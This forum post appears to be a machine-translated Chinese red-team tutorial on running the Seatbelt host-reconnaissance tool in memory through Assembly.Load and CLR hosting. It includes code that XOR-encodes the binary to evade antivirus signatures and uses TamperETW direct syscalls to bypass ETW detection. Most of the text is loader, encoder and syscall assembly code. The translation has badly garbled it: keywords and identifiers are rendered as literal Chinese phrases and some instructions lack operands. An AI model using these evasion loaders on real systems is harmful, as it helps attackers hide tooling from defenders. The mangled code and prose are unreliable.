RenX6 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 安全带是一个C #项目,可以用来检查主机的安全性,在攻防两方面都可以发挥作用。 一个命令就可以获得当前主机的多项配置信息,方便实用。 为了拓展安全带的应用场景,本文将介绍两种通过记忆(Assembly)加载安全带的方法。Load and execute-assembly)不需要修改安全带的任何代码,分别完成传入Main函数的参数的实现代码。NET程序集。 以前的文章《从内存加载.NET程序集(Assembly.Load)的利用分析》和《从内存加载.NET程序集(execute-assembly)的利用分析》 只介绍了将参数传递给指定类的方法的实现代码。 0x01 简介 本文将介绍以下内容: 安全带的编制和使用 装配安全带的方法。加载和传入参数 用执行装配和传入参数加载安全带的方法 Visual Studio2015采用64位平台下汇编代码的方法 0x02 Seatbelt的编译和使用 1.编译 工程地址: https://github.com/GhostPack/Seatbelt 支持。NET 3.5和4.0 需要用Visual Studio2017或更高版本编译。 2.使用 您需要传入的参数来指定特定的命令,例如运行所有检查并返回所有输出: Seatbelt.exe-组=全部-全部 详细命令请参考项目描述: https://github.com/GhostPack/Seatbelt#command-line-usage 0x03 使用Assembly.Load加载Seatbelt并传入参数的方法 实现语言:C# 实施思路: Seatbelt.exe以base64编码并存储在数组中,然后用汇编进行基本解码后加载。加载()。最后,参数被传递给主函数。 实施代码: 1.将Seatbelt.exe作base64编码并返回结果 # c实现代码: 使用系统; 使用系统。反思; 命名空间测试应用程序 { 公开课程 { 公共静态void Main() { byte[] buffer=System。IO . file . read all bytes(' seat belt . exe '); string base64str=Convert。ToBase64String(缓冲区); 控制台。WriteLine(base 64 str); } } } 你可以用Visual Studio或者直接用csc.exe来编译。 下用csc.exe编译的命令。净3.5: C:\Windows\Microsoft。NET \ framework 64 \ v 3.5 \ CSC . exe base64 . cs 下用csc.exe编译的命令。Net 4.0: C:\Windows\Microsoft。NET \ framework 64 \ v 4 . 0 . 30319 \ CSC . exe base64 . cs 编译成功后,生成base64.exe,执行后得到Seatbelt.exe base64编码的字符串。 2.使用Assembly.Load()作base解码后进行加载,最后向Main函数传入参数 # c实现代码: 使用系统; 使用系统。反思; 命名空间测试应用程序 { 公开课程 { 公共静态void Main(string[] args) { string base 64 str=“”; byte[] buffer=转换。from base 64 string(base 64 str); object[]commands=args; 装配装配=装配。负载(缓冲); 尝试 { 组装。EntryPoint.Invoke(null,新对象[]{ commands }); } 捕捉 { MethodInfo方法=程序集。入口点; 如果(方法!=空) { 对象o=程序集。CreateInstance(方法。姓名); 方法。Invoke(o,null); } } } } } 将Seatbelt.exe编码为base64的字符串替换为上面代码中的字符串。 同样,上述代码可以使用Visual Studio或直接使用csc.exe编译。 0x04 使用execute-assembly加载Seatbelt并传入参数的方法 实现语言:c 实施思路: 将Seatbelt.exe的内容保存在一个数组中,加载。NET程序集用Load_3(…)读完,最后传入参数给Main函数。 为了去掉Seatbelt.exe的特征码,可以将Seatbelt.exe中的字符逐个进行异或运算,然后保存到数组中。 这里使用HostingCLR作为代码开发的模板。 HostingCLR的代码没有解决参数传递的问题,无法将参数传递给的Main函数。NET程序集。代码位置: https://github . com/etormadiv/hosting clr/blob/master/hosting clr/hosting clr . CPP # L218 我的代码解决了参数传递的问题,通过对Seatbelt.exe中的字符逐个进行XOR运算,去掉Seatbelt.exe的特征码,然后保存在数组中。 实施代码: 1.将exe文件中逐个字符作异或运算后再保存为新的文件 c实现代码: int main(int argc,char* argv[]) { 如果(argc!=3) { printf(' File _ XOR _ generator \ n '); printf('用法:\ n’); printf('%s \n ',argv[0]); printf(' Eg:\ n '); printf(' % s test.exe0x 01 \ n ',argv[0]); 返回0; } int x; sscanf_s(argv[2],' %x ',x); 文件* fp int err=fopen_s(fp,argv[1],' ab '); 如果(呃!=0) { printf('\n[!]打开文件错误'); 返回0; } fseek(fp,0,SEEK _ END); int len=ftell(FP); unsigned char * buf=new unsigned char[len]; fseek(fp,0,SEEK _ SET); fread(buf,len,1,FP); fclose(FP); printf('[*]文件名:%s\n ',argv[1]); printf('[*]文件大小:%d\n ',len); for(int I=0;我低输入联网(low-entry networking的缩写)我) { buf[I]=buf[i]^ x; } char strNew[256]={ 0 }; snprintf(strNew,256,' xor_%s ',argv[1]); 文件* fp2 err=fopen_s(fp2,strNew,' WB '); 如果(呃!=0) { printf('\n[!]创建文件错误!'); 返回0; } fwrite(buf,len,1,fp2); fclose(fp2); printf('[*] XOR文件名:%s\n ',strNew); printf('[*] XOR文件大小:%d\n ',len); } 这里将Seatbelt.exe中逐个字符同0x01作异或运算,命令行参数如下: Seatbelt.exe0x 01 生成文件xor_Seatbelt.exe 使用hxd打开xor_Seatbelt.exe 将文件内容复制成C代码的格式,如下图 2.使用Load_3(…)加载.NET程序集,最后向Main函数传入参数 完整代码已上传至github,地址如下: https://github。com/3g student/home-of-C-Language/blob/master/hosting clr _ with _ arguments _ xor。卡片打印处理机(Card Print Processor的缩写) 在使用时需要修改代码以下位置: 替换数组原始数据中的内容 定义mscorlibPath的路径 定义运行时间版本的版本 代码会对数组原始数据中的内容逐个字符同0x01作异或运算,还原出Seatbelt.exe的文件内容,再进行加载并向主要的函数传入参数 编译后生成文件承载clr _ with _ arguments _ xor。exe,测试命令实例: 承载clr _ with _ arguments _ xor。exe-group=all 使用流程浏览器查看进程承载clr _ with _ arguments _ xor。可执行程序的扩展名的。网络程序集项,如下图 能够获得。网程序集的名称 如果想要隐藏。网程序集的名称,需要绕过ETW的检测 3.绕过ETW的检测 这里参考代码https://github.com/outflanknl/TamperETW/ 引入其中绕过EWT的代码,代码已上传至github,地址如下: https://github。com/3g student/home-of-C-Language/blob/master/hosting clr _ with _ arguments _ XOR _ tamperetw。卡片打印处理机(Card Print Processor的缩写) 这里还需要添加空对地导弹文件Syscalls.asm,实现对汇编文件的调用 新建项,选择C文件,输入文件名Syscalls.asm,具体内容如下:密码 ;参考:https://j00ru . vexillium . org/sys calls/nt/64/ ;SP1 windows 7/R2 Server 2008特定系统调用 ZwProtectVirtualMemory7SP1 proc mov r10,rcx mov eax,4Dh 系统调用 浸水使柔软 ZwProtectVirtualMemory7SP1 endp ZwWriteVirtualMemory7SP1过程 mov r10,rcx mov eax,37h 系统调用 浸水使柔软 ZwWriteVirtualMemory7SP1 endp ZwReadVirtualMemory7SP1过程 mov r10,rcx mov eax,3Ch 系统调用 浸水使柔软 ZwReadVirtualMemory7SP1 endp ;Windows 8/Server 2012特定系统调用 ZwProtectVirtualMemory80 proc mov r10,rcx mov eax,4Eh 系统调用 浸水使柔软 ZwProtectVirtualMemory80 endp ZwWriteVirtualMemory80处理器 mov r10,rcx mov eax,38小时 系统调用 浸水使柔软 ZwWriteVirtualMemory80 endp ZwReadVirtualMemory80处理器 mov r10,rcx mov eax 系统调用 浸水使柔软 ZwReadVirtualMemory80 endp ;Windows 8.1/Server 2012 R2版特定系统调用 ZwProtectVirtualMemory81 proc mov r10,rcx mov eax,4Fh 系统调用 浸水使柔软 ZwProtectVirtualMemory81 endp ZwWriteVirtualMemory81处理器 mov r10,rcx mov eax,39h 系统调用 浸水使柔软 ZwWriteVirtualMemory81 endp ZwReadVirtualMemory81处理器 mov r10,rcx mov eax,3Eh 系统调用 浸水使柔软 ZwReadVirtualMemory81 endp ;Windows 10/Server 2016特定系统调用 ZwProtectVirtualMemory10过程 mov r10,rcx mov eax,50h 系统调用 浸水使柔软 ZwProtectVirtualMemory10 endp ZwWriteVirtualMemory10过程 mov r10,rcx mov eax,3Ah 系统调用 浸水使柔软 ZwWriteVirtualMemory10 endp ZwReadVirtualMemory10过程 mov r10,rcx mov eax,3Fh 系统调用 浸水使柔软 ZwReadVirtualMemory10 endp 结束 注: Syscalls.asm的代码来自于https://github。com/outlanknl/TamperETW/blob/master/TamperETW/unmanaged clr/sys调用。空对地导弹 Visual Studio2015在64位平台下使用汇编代码还需要作以下设置: (1)右键单击项目-构建依赖项)-构建定制,并检查masm。 如下图 (2)用鼠标右键选择文件Syscalls.asm- attribute,将项目类型设置为Microsoft Macro Assembler。 如下图 编译后生成文件hosting clr _ with _ arguments _ xor _ tamperetw.exe。 测试命令示例: hosting clr _ with _ arguments _ XOR _ tamperetw . exe-group=all 使用流程资源管理器查看。进程hosting clr _ with _ arguments _ xor _ tamperetw.exe的. NET Assemblies项,如下图所示。 成功隐藏了的名称。NET程序集。 0x05 小结 本文介绍两种方法(组装。Load和execute-assembly)通过内存加载安全带,分别完成传入Main函数的参数的实现代码。NET程序集。为了解决HostingCLR的参数传递问题,引入了TamperETW代码绕过ETW,并介绍了在64位平台下Visual Studio2015中使用汇编代码的方法。 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子